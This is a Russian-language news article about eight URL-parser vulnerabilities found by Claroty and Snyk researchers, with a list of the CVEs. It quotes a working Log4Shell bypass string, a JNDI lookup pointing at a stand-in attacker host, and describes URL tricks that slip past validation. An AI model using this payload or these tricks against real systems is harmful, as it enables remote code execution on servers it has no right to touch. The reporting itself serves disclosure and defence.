Уязвимости в популярных парсерах открывают дверь для широкого спектра атак

Уязвимости в популярных парсерах открывают дверь для широкого спектра атак

Было выявлено восемь уязвимостей в библиотеках, написанных на языках C, JavaScript, PHP, Python и Ruby.

Исследователи в области кибербезопасности из компаний Claroty и Synk выявили уязвимости в 8 различных библиотеках для парсинга URL-адресов. Обнаруженные несоответствия и путаницы можно использовать для обхода проверок и создания широкого спектра векторов атак.

В общей сложности было выявлено восемь уязвимостей в библиотеках, написанных на языках C, JavaScript, PHP, Python и Ruby и используемых несколькими web-приложениями.

«Путаница при синтаксическом анализе URL-адресов может привести к неожиданному поведению программного обеспечения (например, web-приложения) и может быть использована злоумышленниками для создания условий отказа в обслуживании, утечки информации или, возможно, для проведения атак с удаленным выполнением кода», — пояснили исследователи.

Различия в том, как библиотеки синтаксического анализа интерпретируют запрос URL-адреса, могут представлять значительный риск для пользователей. В качестве примера можно привести критическую уязвимость Log4Shell , обнаруженную в прошлом году в библиотеке Log4j. Контролируемая злоумышленником строка при оценке и регистрации уязвимым приложением приводит к поиску JNDI, который подключается к серверу злоумышленника и выполняет произвольный Java-код.

Хотя Apache Software Foundation (ASF) быстро выпустила исправление для устранения уязвимости в своей библиотеке Apache Log4j, вскоре выяснилось, что меры по предотвращению эксплуатации можно обойти с помощью специально созданного ввода в формате «${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}».

«Обход связан с тем, что внутри процесса поиска JNDI использовались два разных (!) анализатора URL-адресов — один анализатор для проверки URL-адреса, а другой для его извлечения. В зависимости от того, как каждый анализатор обрабатывает часть фрагмента (#) URL-адрес, компонент Authority также меняется», — сказали исследователи.

В частности, если ввод обрабатывается как обычный URL-адрес HTTP, компонент Authority (комбинация имени домена и номера порта) заканчивается при обнаружении идентификатора фрагмента, тогда как при обработке в качестве URL-адреса LDAP анализатор назначит весь «127.0.0[.]1#.evilhost.com:1389» в качестве центра, поскольку спецификация URL-адреса LDP не учитывает фрагмент.

Использование нескольких синтаксических анализаторов стало одной из двух основных причин, по которым были обнаружены восемь уязвимостей. Другая причина — проблемы, возникающие из-за несоответствий, когда библиотеки следуют разным спецификациям URL-адресов, что фактически создает лазейку для преступников.

Диссонанс варьируется от путаницы, связанной с URL-адресами, содержащими обратную косую черту («\»), нестандартное количество косых черт (например, https:///) или закодированные данные URL («%»), до URL-адресов с отсутствующими схемами URL. При успешном использовании такие уязвимости могут привести к удаленному выполнению кода или к отказу в обслуживании (DoS) и фишинговым атакам с открытым перенаправлением.

Ниже приводится список из восьми обнаруженных уязвимостей (в настоящее время все проблемы исправлены):

Belledonne's SIP Stack (C, CVE-2021-33056)

Video.js (JavaScript, CVE-2021-23414)

Nagios XI (PHP, CVE-2021-37352)

Flask-security (Python, CVE-2021-23385)

Flask-security-too (Python, CVE-2021-32618)

Flask-unchained (Python, CVE-2021-23393)

Flask-User (Python, CVE-2021-23401)

Clearance (Ruby, CVE-2021-23435)

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться